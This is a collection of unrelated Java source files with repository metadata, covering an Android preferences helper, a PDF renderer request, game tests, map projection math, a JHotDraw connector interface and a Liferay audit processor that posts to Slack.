package com.kasai.stadium.tv.utils; import android.content.Context; import android.content.SharedPreferences; /** * sharePreferences工具类 */ public class BaseSharePreferences { private SharedPreferences share; private SharedPreferences.Editor editor; public BaseSharePreferences(Context context, String name) { share = context.getSharedPreferences(name, Context.MODE_PRIVATE); editor = share.edit(); } /** * 保存数据的方法 * * @param key * @param object */ public void putValue(String key, Object object) { if (object instanceof String) { editor.putString(key, (String) object); } else if (object instanceof Integer) { editor.putInt(key, (Integer) object); } else if (object instanceof Boolean) { editor.putBoolean(key, (Boolean) object); } else if (object instanceof Float) { editor.putFloat(key, (Float) object); } else if (object instanceof Long) { editor.putLong(key, (Long) object); } else { editor.putString(key, (String) object); } editor.commit(); //editor.apply(); } public boolean getBoolean(String key, boolean defaultValue) { return share.getBoolean(key, defaultValue); } public float getFloat(String key, float defaultValue) { return share.getFloat(key, defaultValue); } public int getInt(String key, int defaultValue) { return share.getInt(key, defaultValue); } public long getLong(String key, long defaultValue) { return share.getLong(key, defaultValue); } public String getString(String key, String defaultValue) { return share.getString(key, defaultValue); } /** * 移除某个key值已经对应的值 * * @param key */ public void remove(String key) { editor.remove(key); editor.commit(); } /** * 清空所有数据 */ public void clear() { editor.clear(); editor.commit(); } }
true
57f72f5a06050a39dab19016acf8cd280c7320b3
Java
Plexon21/inking_for_pdf
/Java/PdfViewerAPI_R2/java/com/pdf_tools/pdfviewer/Requests/PdfDrawRequest.java
UTF-8
1,758
2.125
2
[]
no_license
package com.pdf_tools.pdfviewer.Requests; import java.awt.image.BufferedImage; import java.util.Map; import com.pdf_tools.pdfviewer.DocumentManagement.IPdfDocument; import com.pdf_tools.pdfviewer.Model.IPdfControllerCallbackManager; import com.pdf_tools.pdfviewer.Model.PdfViewerController; import com.pdf_tools.pdfviewer.Model.PdfViewerException; import com.pdf_tools.pdfviewer.converter.geom.Dimension; import com.pdf_tools.pdfviewer.converter.geom.Rectangle; public class PdfDrawRequest extends APdfRequest<BufferedImage> { public PdfDrawRequest(Dimension bitmapSize, int rotation, Map<Integer, Rectangle.Double> pageRects, PdfViewerController.Viewport viewport) { this.bitmapSize = bitmapSize; this.rotation = rotation; this._priority = 10; this.pageRects = pageRects; this.viewport = viewport; } @Override public void execute(IPdfDocument document, IPdfControllerCallbackManager controller) { if (bitmapSize.height > 0 && bitmapSize.width > 0) { BufferedImage bitmap = new BufferedImage(bitmapSize.width, bitmapSize.height, BufferedImage.TYPE_4BYTE_ABGR); try { document.draw(bitmap, rotation, pageRects, viewport); completedEvent.triggerEvent(bitmap, null); controller.onDrawCompleted(bitmap, null); } catch (PdfViewerException ex) { completedEvent.triggerEvent(bitmap, ex); controller.onDrawCompleted(bitmap, ex); } } } private Dimension bitmapSize; private int rotation; private Map<Integer, Rectangle.Double> pageRects; private PdfViewerController.Viewport viewport; }
true
f193d79cf21852921279139cf75c53e292d34cd4
Java
CaterinaGuida/Progetto-A20
/ScoponeScientifico/src/graphicInterface/ItemChangeListener.java
UTF-8
1,382
3.4375
3
[]
no_license
package graphicInterface; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JComboBox; import javax.swing.JTextField; /** * Implements {@link ActionListener} and makes the StartFrame change depending * on the selected item in the JComboBox. If the string selected in the * JComboBox is "Human Player", it gives the possibility to set the player's * name. * * @see StartFrame * @see JComboBox * */ public class ItemChangeListener implements ActionListener { private JTextField textField; JComboBox<String> jComboBox; /** * Creates ItemChangeListener * * @param textField to enable if the String selected is "Human Player" * @param jComboBox with the options "Human Player" or "Computer Player" */ public ItemChangeListener(JTextField textField, JComboBox<String> jComboBox) { this.textField = textField; this.jComboBox = jComboBox; } /** * Enables the JTextField in which the user can write the player's name, if the * string selected in the ComboBox is "Human Player". * @see JTextField */ @Override public void actionPerformed(ActionEvent e) { // TODO Auto-generated method stub if (jComboBox.getSelectedItem().equals("Human Player")) { textField.setEnabled(true); textField.setText("Inserire nome"); } else { textField.setEnabled(false); textField.setText(null); } } }
true
16172b56527b9c9a046f48138807ed51dc531fed
Java
Jason0307/DocsBuilder
/src/main/java/org/zhubao/util/Constants.java
UTF-8
810
1.859375
2
[]
no_license
/** * */ package org.zhubao.util; /** * @author jason.zhu * @date 2014-12-3 * @email jasonzhu@augmentum.com.cn */ public interface Constants { public static final int GENERATE_HTML = 1; public static final int GENERATE_MARKDOWN = 2; public static final String VERSION = "v3"; public static final String PROTOCOL_HTTP = "http"; public static final String PROTOCOL_HTTPS = "https"; public static final String DOCU_API_NAME = "Jason Api Template"; public static final String BASE_URL = "/flight/dashboard/"; public static final String PARAM_VALUE_REQUIRED_NO = "N"; public static final String PARAM_VALUE_REQUIRED_YES = "Y"; public static final String PARAM_TYPE_ENUMERATED = "enumerated"; public static final String PARAM_TYPE_OBJECT = "object"; public static final String PARAM_TYPE_ARRAY = "array"; }
true
444e8357cd6425d8032c9e95d504180d197a5c0d
Java
kopperek/M2AC
/app/src/main/java/app/android/kopper/m2ac/util/MercatorPower2MapSpace.java
UTF-8
6,195
2.609375
3
[]
no_license
/******************************************************************************* * Copyright (c) MOBAC developers * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. ******************************************************************************/ package app.android.kopper.m2ac.util; import com.google.android.gms.maps.model.LatLng; import java.util.Arrays; /** * Mercator projection with a world width and height of 256 * 2<sup>zoom</sup> * pixel. This is the common projecton used by Openstreetmap and Google. It * provides methods to translate coordinates from 'map space' into latitude and * longitude (on the WGS84 ellipsoid) and vice versa. Map space is measured in * pixels. The origin of the map space is the top left corner. The map space * origin (0,0) has latitude ~85 and longitude -180 * * <p> * This is the only implementation that is currently supported by Mobile Atlas * Creator. * </p> * <p> * DO NOT TRY TO IMPLEMENT YOUR OWN. IT WILL NOT WORK! * </p> */ public class MercatorPower2MapSpace { protected static final double MAX_LAT = 85.05112877980659; protected static final double MIN_LAT = -85.05112877980659; protected final int tileSize; /** * Pre-computed values for the world size (height respectively width) in the * different zoom levels. */ protected final int[] worldSize; public static final MercatorPower2MapSpace INSTANCE_256 = new MercatorPower2MapSpace(256); public static final int MAX_ZOOM = 22; protected MercatorPower2MapSpace(int tileSize) { this.tileSize = tileSize; worldSize = new int[MAX_ZOOM + 1]; for (int zoom = 0; zoom < worldSize.length; zoom++) worldSize[zoom] = 256 * (1 << zoom); System.out.println(Arrays.toString(worldSize)); } protected double radius(int zoom) { return getMaxPixels(zoom) / (2.0 * Math.PI); } /** * Returns the absolute number of pixels in y or x, defined as: * 2<sup>zoom</sup> * TILE_WIDTH where TILE_WIDTH is the width respectively * height of a tile in pixels * * @param zoom * [0..22] * @return */ public int getMaxPixels(int zoom) { return worldSize[zoom]; } protected int falseNorthing(int aZoomlevel) { return (-1 * getMaxPixels(aZoomlevel) / 2); } /** * Transforms latitude to pixelspace * * @param lat * [-90...90] qparam zoom [0..22] * @return [0..2^zoom*TILE_SIZE[ * @author Jan Peter Stotz */ public int cLatToY(double lat, int zoom) { lat = Math.max(MIN_LAT, Math.min(MAX_LAT, lat)); System.out.println(lat); double sinLat = Math.sin(Math.toRadians(lat)); System.out.println(sinLat); double log = Math.log((1.0 + sinLat) / (1.0 - sinLat)); System.out.println(log); int mp = getMaxPixels(zoom); System.out.println(mp); int y = (int) (mp * (0.5 - (log / (4.0 * Math.PI)))); System.out.println(y); y = Math.min(y, mp - 1); return y; } /** * Transform longitude to pixelspace * * @param lon * [-180..180] * @param zoom * [0..22] * @return [0..2^zoom*TILE_SIZE[ * @author Jan Peter Stotz */ public int cLonToX(double lon, int zoom) { int mp = getMaxPixels(zoom); int x = (int) ((mp * (lon + 180l)) / 360l); x = Math.min(x, mp - 1); return x; } /** * Transforms pixel coordinate X to longitude * * @param x * [0..2^zoom*TILE_WIDTH[ * @param zoom * [0..22] * @return ]-180..180[ * @author Jan Peter Stotz */ public double cXToLon(long x, int zoom) { return ((360d * x) / getMaxPixels(zoom)) - 180.0; } /** * Transforms pixel coordinate Y to latitude * * @param y * [0..2^zoom*TILE_WIDTH[ * @param zoom * [0..22] * @return [MIN_LAT..MAX_LAT] is about [-85..85] */ public double cYToLat(long y, int zoom) { y += falseNorthing(zoom); double latitude = (Math.PI / 2) - (2 * Math.atan(Math.exp(-1.0 * y / radius(zoom)))); return -1 * Math.toDegrees(latitude); } public int getTileSize() { return tileSize; } public int moveOnLatitude(int startX, int y, int zoom, double angularDist) { y += falseNorthing(zoom); double lat = -1 * ((Math.PI / 2) - (2 * Math.atan(Math.exp(-1.0 * y / radius(zoom))))); double lon = cXToLon(startX, zoom); double sinLat = Math.sin(lat); lon += Math.toDegrees(Math.atan2(Math.sin(angularDist) * Math.cos(lat), Math .cos(angularDist) - sinLat * sinLat)); int newX = cLonToX(lon, zoom); int w = newX - startX; return w; } public double horizontalDistance(int zoom, int y, int xDist) { y = Math.max(y, 0); y = Math.min(y, getMaxPixels(zoom)); double lat = cYToLat(y, zoom); double lon1 = -180.0; double lon2 = cXToLon(xDist, zoom); double dLon = Math.toRadians(lon2 - lon1); double cos_lat = Math.cos(Math.toRadians(lat)); double sin_dLon_2 = Math.sin(dLon) / 2; double a = cos_lat * cos_lat * sin_dLon_2 * sin_dLon_2; return 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); } public int xChangeZoom(int x, int oldZoom, int newZoom) { int zoomDiff = oldZoom - newZoom; return (zoomDiff > 0) ? x >> zoomDiff : x << -zoomDiff; } public int yChangeZoom(int y, int oldZoom, int newZoom) { int zoomDiff = oldZoom - newZoom; return (zoomDiff > 0) ? y >> zoomDiff : y << -zoomDiff; } public XY toXY(LatLng p, int zoom) { return(new XY(cLonToX(p.longitude,zoom),cLatToY(p.latitude,zoom))); } public XY toTileXY(LatLng p, int zoom) { XY xy = toXY(p,zoom); return(new XY(xy.getX()/getTileSize(),xy.getY()/getTileSize())); } public LatLng toLonLat(XY p, int zoom) { return(new LatLng(cXToLon(p.getX(),zoom),cYToLat(p.getY(),zoom))); } }
true
351b5cee608d16efd4bcacd29ed55ec791ef745c
Java
AbelKinkela/Netbeans_Projects
/PayrollSystem/src/Learning/Windows/EnteringTextInADialogue.java
UTF-8
745
3.4375
3
[]
no_license
//See description of this problem in Book: Java - How to program 9th edition(By Paul Deitel & Harvey Deitel) //Page package Learning.Windows; import static java.lang.Integer.parseInt; import javax.swing.JOptionPane; /** * * @author Marcelo */ public class EnteringTextInADialogue { public static void main(String args[]){ String number1= JOptionPane.showInputDialog(null, "Number1:?"); String number2= JOptionPane.showInputDialog(null, "Number2:?"); int n1= parseInt(number1); int n2= parseInt(number2); String message= String.format("%d + %d = %d", n1, n2, n1+n2 ); JOptionPane.showMessageDialog(null, message); } }
true
0be6923bfdefb96debefb94c1a1b48d298fe883b
Java
ncguy2/KF2-Subscription-Handler
/src/main/java/handler/settings/AppSettings.java
UTF-8
645
1.867188
2
[]
no_license
package handler.settings; import handler.fx.ThemeManager; import handler.fx.uifx.FXWindow; import handler.ui.Strings; public class AppSettings { @AppSetting(Class = Strings.Mutable.class, Field = "WORKING_DIRECTORY", Observable = true) public String directory = ""; @AppSetting(Class = ThemeManager.class, Field = "activeTheme", Observable = true) public String theme = ""; @AppSetting(Class = Strings.Mutable.class, Field = "STEAMCMD_PATH", Observable = true) public String steamCmd = ""; @AppSetting(Class = FXWindow.class, Field = "useTabIcons", Observable = true) public boolean useTabIcons = false; }
true
de8909b4681336c3ac8557dd5a2223f68cb87886
Java
wind-o-f-change/generics
/src/main/java/task4/ListBox.java
UTF-8
616
3.375
3
[]
no_license
package task4; import java.util.ArrayList; import java.util.List; public class ListBox<T> { List<T> someList; /** * @param list список, значения которого надо добавить во вложенный список обьекта */ void addAll(List<? extends T> list) { for (T elt : list) { someList.add(elt); } } public static void main(String[] args) { ListBox<Number> box = new ListBox<>(); List<Integer> list = new ArrayList<>(); list.add(9); list.add(1); box.addAll(list); } }
true
087ee137d79a0ab4274d30279ba337aeab3e9dcd
Java
dgrahn/csci561
/homework-2/src/us/grahn/mancala/Move.java
UTF-8
971
3.46875
3
[]
no_license
package us.grahn.mancala; import java.util.ArrayList; import java.util.List; /** * A single move for a mancala board. * * @author Dan Grahn * @status FINISHED */ public class Move { /** * The evaluation value for the move. Defaults to {@code Integer#MIN_VALUE} */ public int eval = Integer.MIN_VALUE; /** * The actions which should be taken on the move. */ public final List<Integer> actions = new ArrayList<>(); /** * Constructs a new move. */ public Move() { } /** * Constructs a new move with the specified action. * * @param action the action to add */ public Move(final int action) { actions.add(action); } @Override public String toString() { final StringBuilder b = new StringBuilder(); b.append("Eval ="); b.append(eval); b.append("\nMove = "); for(final int move : actions) { b.append(move); b.append(" -> "); } return b.toString(); } }
true
2b2d94cd841de5322ad2cbfdbeec4cddd7ef48a2
Java
AnhVoCode/Programming12
/Inheritance Practice/src/Planet.java
UTF-8
1,289
3.453125
3
[]
no_license
import java.util.ArrayList; public class Planet { //Fields private int orbitTime; private ArrayList<Moon> moons; private String designation; //Constructors Planet(){ moons = new ArrayList<>(); orbitTime = 0; designation = null; } Planet(int orbitTime, String designation){ this.orbitTime = orbitTime; this.designation = designation; } //Methods public String getDesignation() { return designation; } public void setDesignation(String designation) { this.designation = designation; } public int getOrbitTime() { return orbitTime; } public void setOrbitTime(int orbitTime) { this.orbitTime = orbitTime; } public void addMoon(Moon m){ moons.add(m); } public ArrayList<Moon> getMoons() { return moons; } @Override public boolean equals(Object obj) { if(obj instanceof Planet){ Planet other = (Planet) obj; if(this.getOrbitTime() == other.getOrbitTime()){ return true; } } return false; } @Override public String toString() { return "Designation: " +designation + "\tOrbit Time: "+ orbitTime; } }
true
f355b6fa59bfa68ae223f9878be75d3f70a8784e
Java
srikanthraj/LeetCode
/src/L594.java
UTF-8
543
2.921875
3
[]
no_license
import java.util.HashMap; import java.util.Map; public class L594 { public int findLHS(int[] nums) { int max = 0; HashMap<Long,Integer> hm = new HashMap<Long,Integer>(); for(long num:nums) hm.put(num, hm.getOrDefault(num, 0)+1); for(long key: hm.keySet()) { if(hm.containsKey(key+1)) max = Math.max(max, hm.get(key+1)+hm.get(key)); } return max; } public static void main(String[] args) { L594 l = new L594(); int a[] = {1,3,2,2,5,2,4,4,4,4,4,4,4,3,7}; System.out.println(l.findLHS(a)); } }
true
0eb8bc3300c2ed72867cfee14e1b60436ff45981
Java
jacob-andersen/JAVA_PLAYGROUND
/Java_problems/CycleShiftInts.java
UTF-8
520
3.5625
4
[]
no_license
import java.util.Scanner; public class CycleShiftInts { public static void main(String[] args) { Scanner input = new Scanner(System.in); int n = input.nextInt(); int[] shiftedArray = new int[n]; for (int i=1; i<n; i++) { shiftedArray[i]=input.nextInt(); } shiftedArray[0]=input.nextInt(); input.close(); for (int x : shiftedArray) { System.out.print(x+" "); } } }
true
dc5307b49516d905c6b96583130204af751f1294
Java
fivemoons/DataStructure
/src/microsoft/Buffered.java
UTF-8
571
2.78125
3
[]
no_license
package microsoft; import java.io.*; import java.util.*; public class Buffered { private static int[] sp(String s,String sp){ String[] sarr = s.trim().split(sp); int[] ans = new int[sarr.length]; for(int i=0; i<sarr.length; i++){ ans[i] = Integer.parseInt(sarr[i]); } return ans; } public static void main(String[] args) { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); try { int T = Integer.parseInt(br.readLine()); } catch (NumberFormatException | IOException e) { //抛出异常 e.printStackTrace(); } } }
true
73c485d704a18a6582df234b4ac189a0bd4a364d
Java
gphilippee/robot-turtles
/src/affichage/jeu/ProgrammeJeu.java
UTF-8
1,305
2.859375
3
[]
no_license
package affichage.jeu; import affichage.Case; import com.company.Main; import jeu.Jeu; import jeu.tuile.Tuile; import javax.imageio.ImageIO; import javax.swing.*; import java.awt.*; import java.io.IOException; import java.util.ArrayList; public class ProgrammeJeu extends JPanel { /** * */ protected Jeu jeu; /** * @param jeu */ public ProgrammeJeu(Jeu jeu) { super(); this.jeu = jeu; } @Override public void paintComponent(Graphics g) { ArrayList<Tuile> priseTemp = jeu.getJoueurCourant().getProgramme(); int x = 40; int y = 0; for (int i = 0; i < priseTemp.size(); i++) { //Dessine l'image de la piece Image imgPiece = null; try { imgPiece = ImageIO.read(getClass().getResource(Main.RES_PATH + "carte_back.png")); g.drawImage(imgPiece, x, y, this); x += Case.CASE_LENGTH; if (x >= Case.CASE_LENGTH * 7) { y += Case.CASE_LENGTH + 5; x = 40; } } catch (IOException e) { System.out.println("Impossible de charger l'image " + getClass().getResource(Main.RES_PATH + "carte_back.png")); } } } }
true
8f14891091409b567cbc42d715475d7709de70d9
Java
SamuelBFavarin/PAINTogether
/src/main/java/PAINTogether/shared/ComponentWrapper.java
UTF-8
236
1.710938
2
[]
no_license
package PAINTogether.shared; /** * Created by Lucas Baragatti on 17/12/2016. */ public class ComponentWrapper { public String type; public int x; public int y; public int width; public int height; public int color; }
true
5cfff3c3e5b75c53d32567cb59cda02d771254c8
Java
ViliLipo/SnakeAI
/snake-ai/src/test/java/fi/tiralabra/game/SnakeTest.java
UTF-8
3,186
2.984375
3
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package fi.tiralabra.game; import org.junit.After; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.*; /** * * @author vili */ public class SnakeTest { private Snake snake; private GameArea area; public SnakeTest() { } @Before public void setUp() { this.area = new GameArea(); this.snake = new Snake(this.area, 5, 5); } @After public void tearDown() { } /** * Test of turn method, of class Snake. */ @Test public void testTurn() { snake.turn(1); snake.turn(-2); assertEquals(-2, snake.getDirection()); snake.turn(2); assertEquals(-2, snake.getDirection()); snake.turn(1); assertEquals(1, snake.getDirection()); snake.turn(-1); assertEquals(1, snake.getDirection()); } /** * Test of move method, of class Snake. */ @Test public void testMove() { int xval = snake.getHead().getX() + 1; int yval = snake.getHead().getY(); assertTrue(snake.move()); assertEquals(xval, snake.getHead().getX()); assertEquals(yval, snake.getHead().getY()); snake.turn(Snake.DOWN); assertTrue(snake.move()); yval += 1; assertEquals(xval, snake.getHead().getX()); assertEquals(yval, snake.getHead().getY()); snake.turn(Snake.LEFT); snake.move(); xval -= 1; assertEquals(xval, snake.getHead().getX()); assertEquals(yval, snake.getHead().getY()); snake.turn(Snake.UP); snake.move(); yval -= 1; assertEquals(xval, snake.getHead().getX()); assertEquals(yval, snake.getHead().getY()); } /** * Test of getGrow method, of class Snake. */ @Test public void testGetGrow() { assertFalse(this.snake.getGrow()); this.area.getTable()[5][6] = GameArea.APPLE; snake.move(); assertTrue(this.snake.getGrow()); } /** * Test of getScore method, of class Snake. */ @Test public void testGetScore() { assertEquals(0, snake.getScore()); this.area.getTable()[5][6] = GameArea.APPLE; snake.move(); assertEquals(10, snake.getScore()); } /** * Test of getHead method, of class Snake. */ @Test public void testGetHead() { Location head = snake.getHead(); assertEquals(5, head.getX()); assertEquals(5, head.getY()); } /** * Test of clone method, of class Snake. */ @Test public void testClone() throws Exception { } /** * Test of setArea method, of class Snake. */ @Test public void testSetArea() { snake.setArea(this.area); assertEquals(this.area, snake.getArea()); } /** * Test of getArea method, of class Snake. */ @Test public void testGetArea() { assertEquals(this.area, snake.getArea()); } }
true
7de605d07cf50190b9aad0711c1002154160c99a
Java
amusarra/liferay-portal-security-audit
/portal-security-audit-message-processor/src/main/java/it/dontesta/labs/liferay/portal/security/audit/message/processor/SlackAuditMessageProcessor.java
UTF-8
6,277
1.710938
2
[ "MIT" ]
permissive
/* Copyright 2009-2023 Antonio Musarra's Blog - https://www.dontesta.it Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package it.dontesta.labs.liferay.portal.security.audit.message.processor; import com.liferay.portal.configuration.metatype.bnd.util.ConfigurableUtil; import com.liferay.portal.kernel.audit.AuditMessage; import com.liferay.portal.kernel.json.JSONArray; import com.liferay.portal.kernel.json.JSONException; import com.liferay.portal.kernel.json.JSONFactoryUtil; import com.liferay.portal.kernel.json.JSONObject; import com.liferay.portal.kernel.log.Log; import com.liferay.portal.kernel.log.LogFactoryUtil; import com.liferay.portal.kernel.util.Http; import com.liferay.portal.kernel.util.HttpUtil; import com.liferay.portal.security.audit.AuditMessageProcessor; import it.dontesta.labs.liferay.portal.security.audit.message.processor.configuration.SlackAuditMessageProcessorConfiguration; import java.io.IOException; import java.util.Map; import javax.ws.rs.core.Response; import org.osgi.service.component.annotations.Activate; import org.osgi.service.component.annotations.Component; import org.osgi.service.component.annotations.Modified; /** * @author Antonio Musarra */ @Component( configurationPid = "it.dontesta.labs.liferay.portal.security.audit.message.processor.configuration.SlackAuditMessageProcessorConfiguration", immediate = true, property = "eventTypes=*", service = AuditMessageProcessor.class) public class SlackAuditMessageProcessor implements AuditMessageProcessor { @Override public void process(AuditMessage auditMessage) { try { doProcess(auditMessage); } catch (Exception e) { _log.fatal("Unable to process audit message " + auditMessage, e); } } @Activate @Modified protected void activate(Map<String, Object> properties) { _slackAuditMessageProcessorConfiguration = ConfigurableUtil.createConfigurable( SlackAuditMessageProcessorConfiguration.class, properties); if (_log.isInfoEnabled()) { _log.info( "Slack Audit Message Processor enabled: " + _slackAuditMessageProcessorConfiguration.enabled()); } } protected void doProcess(AuditMessage auditMessage) throws JSONException, IOException { if (_slackAuditMessageProcessorConfiguration.enabled()) { _log.info("Slack processor processing this Audit Message => " + auditMessage.toJSONObject()); JSONObject jsonObjectSectionHeader = JSONFactoryUtil.createJSONObject(); JSONObject jsonObjectSectionBody = JSONFactoryUtil.createJSONObject(); JSONObject jsonObjectSectionContext = JSONFactoryUtil.createJSONObject(); JSONArray jsonArrayBlocks = JSONFactoryUtil.createJSONArray(); JSONArray jsonArrayContext = JSONFactoryUtil.createJSONArray(); jsonObjectSectionHeader.put("type", "section"); jsonObjectSectionHeader.put( "text", JSONFactoryUtil.createJSONObject() .put("type", "plain_text") .put( "text", String.format( "Audit Message from: %s%nBelow the Audit Message details.", SlackAuditMessageProcessor.class.getSimpleName()))); jsonObjectSectionBody.put("type", "section"); jsonObjectSectionBody.put( "text", JSONFactoryUtil.createJSONObject() .put("type", "mrkdwn") .put("text", String.format("```%s```", auditMessage.toJSONObject().toString(4)))); jsonObjectSectionContext.put("type", "context"); jsonArrayContext.put( JSONFactoryUtil.createJSONObject() .put("type", "plain_text") .put("text", "Author: Slack Audit Message Processor")); jsonObjectSectionContext.put("elements", jsonArrayContext); jsonArrayBlocks.put(jsonObjectSectionHeader); jsonArrayBlocks.put(jsonObjectSectionBody); jsonArrayBlocks.put(jsonObjectSectionContext); Http.Options options = new Http.Options(); options.setLocation(_slackAuditMessageProcessorConfiguration.webHookUrl()); options.setPost(true); options.setBody( JSONFactoryUtil.createJSONObject().put("blocks", jsonArrayBlocks).toString(), "application/json", "UTF-8"); if (_log.isDebugEnabled()) { _log.debug("Slack processor request body => " + options.getBody().getContent()); } String responseContent = HttpUtil.URLtoString(options); if (_log.isDebugEnabled()) { _log.debug("Slack processor response content => " + responseContent); } Http.Response response = options.getResponse(); if (response.getResponseCode() != Response.Status.OK.getStatusCode()) { _log.error( String.format( "Error on send Audit Message to Slack: {response code: %s, response content: %s}", response.getResponseCode(), responseContent)); } if (_log.isDebugEnabled()) { _log.debug("Slack processor response code => " + response.getResponseCode()); } } } private static final Log _log = LogFactoryUtil.getLog(SlackAuditMessageProcessor.class); private SlackAuditMessageProcessorConfiguration _slackAuditMessageProcessorConfiguration; }
true
949f88049d8100402cd1a428974937c2962ea0cb
Java
wesleyricc/Expedicao
/Expedicao/src/gets_sets/RotasGetSet.java
UTF-8
1,083
2.015625
2
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package gets_sets; import java.util.List; public class RotasGetSet { private Integer idCarga, idRota; private List<String> cidades; private String listaCidadeString; public String getListaCidadeString() { return listaCidadeString; } public void setListaCidadeString(String listaCidadeString) { this.listaCidadeString = listaCidadeString; } public Integer getIdRota() { return idRota; } public void setIdRota(Integer idRota) { this.idRota = idRota; } public Integer getIdCarga() { return idCarga; } public void setIdCarga(Integer idCarga) { this.idCarga = idCarga; } public List<String> getCidades() { return cidades; } public void setCidades(List<String> cidades) { this.cidades = cidades; } }
true
6c4fe9315243e639bea646defa4bf01aa5c519ed
Java
YuyaAizawa/JavaStaticAnalysis
/src/test/resources/jhotdraw8/src/main/java/org/jhotdraw8/draw/connector/Connector.java
UTF-8
6,628
2.59375
3
[ "MIT" ]
permissive
/* @(#)Connector.java * Copyright © 2017 by the authors and contributors of JHotDraw. MIT License. */ package org.jhotdraw8.draw.connector; import javafx.geometry.Bounds; import javafx.geometry.Point2D; import javax.annotation.Nonnull; import javax.annotation.Nullable; import org.jhotdraw8.draw.figure.Figure; import org.jhotdraw8.geom.Geom; import org.jhotdraw8.geom.Intersection; import org.jhotdraw8.geom.Intersections; import org.jhotdraw8.geom.Transforms; /** * A <em>connector</em> encapsulates a strategy for locating a connection point * for a connection figure on a target figure. * * @design.pattern Connector Strategy, Strategy. {@link Connector} encapsulates * a strategy for locating a connection point on a {@link Figure}. * * @author Werner Randelshofer * @version $Id$ */ public interface Connector { /** * Returns a point on the target figure for the specified connection figure * in local coordinates. * * @param connection a connection figure * @param target the target * @return A point on the target figure in local coordinates of the target * figure. */ Point2D getPositionInLocal( Figure connection, Figure target); /** * Returns the tangent vector on the target figure for the specified * connection figure in local coordinates. * * @param connection a connection figure * @param target the target * @return A tangent vector on the target figure in local coordinates of the * target figure. */ default Point2D getTangentInLocal( Figure connection, Figure target) { return new Point2D(1.0, 0.0); } /** * Returns a point on the target figure for the specified connection figure * in world coordinates. * * @param connection a connection figure * @param target the target * @return A point on the target figure in world coordinates. */ @Nonnull default Point2D getPositionInWorld(Figure connection, @Nonnull Figure target) { return target.localToWorld(getPositionInLocal(connection, target)); } /** * Returns a point on the target figure for the specified connection figure * in parent coordinates. * * @param connection a connection figure * @param target the target * @return A point on the target figure in parent coordinates. */ default Point2D getPositionInParent(Figure connection, @Nonnull Figure target) { return Transforms.transform(target.getLocalToParent(), getPositionInLocal(connection, target)); } /** * Returns a tangent vector on the target figure for the specified * connection figure in world coordinates. * * @param connection a connection figure * @param target the target * @return A point on the target figure in world coordinates. */ default Point2D getTangentInWorld(Figure connection, @Nonnull Figure target) { return Transforms.deltaTransform(target.getLocalToWorld(), getTangentInLocal(connection, target)); } /** * Returns a tangent vector on the target figure for the specified * connection figure in parent coordinates. * * @param connection a connection figure * @param target the target * @return A point on the target figure in parent coordinates. */ default Point2D getTangentInParent(Figure connection, @Nonnull Figure target) { return Transforms.deltaTransform(target.getLocalToParent(), getTangentInLocal(connection, target)); } /** * Clips the start of the provided line at the bounds of the target figure. * The line must be given in world coordinates. * * @param connection a connection figure * @param target the target * @param sx x-coordinate at the start of the line * @param sy x-coordinate at the start of the line * @param ex x-coordinate at the end of the line * @param ey y-coordinate at the end of the line * @return the new start point in world coordinates */ default Point2D chopStart(Figure connection, @Nonnull Figure target, double sx, double sy, double ex, double ey) { return chopStart(connection, target, new Point2D(sx, sy), new Point2D(ex, ey)); } /** * Clips the start of the provided line at the bounds of the target figure. * The line must be given in world coordinates. * * @param connection a connection figure * @param target the target * @param start the start of the line, should be inside the target figure * @param end the end of the line, should be outside the target figure * @return the new start point in world coordinates */ @Nonnull default Point2D chopStart(Figure connection, @Nonnull Figure target, @Nonnull Point2D start, @Nonnull Point2D end) { Double t = intersect(connection, target, start, end); return t == null ? start : Geom.lerp(start, end, t); } /** * Clips the end of the provided line at the bounds of the target figure. * The line must be given in world coordinates. * * @param connection a connection figure * @param target the target * @param start the start of the line * @param end the end of the line * @return the new end point in world coordinates */ @Nonnull default Point2D chopEnd(Figure connection, @Nonnull Figure target, @Nonnull Point2D start, @Nonnull Point2D end) { return chopStart(connection, target, end, start); } /** * Returns the intersection of the line going from start to end with the * target figure. The line must be given in world coordinates. * * @param connection the connection figure * @param target the target figure * @param start the start point of the line in world coordinates, should be * inside the target figure * @param end the end point of the line in world coordinates, should be * outside the target figure * @return the intersection in the interval [0,1], null if no intersection. * In case of multiple intersections returns the largest value. */ @Nullable default Double intersect(Figure connection, @Nonnull Figure target, @Nonnull Point2D start, @Nonnull Point2D end) { Point2D s = target.worldToLocal(start); Point2D e = target.worldToLocal(end); Bounds b = target.getBoundsInLocal(); Intersection i = Intersections.intersectLineRectangle(s, e, b); return i.isEmpty() ? null : i.getLastT(); } }
true
27f2e34c9b933b186845271562744de3817c2dc3
Java
YashJha91827/ELH_Training_JAVA_Projects
/University_Demo_By_Collection/src/main/java/com/model/Department.java
UTF-8
1,203
3.265625
3
[]
no_license
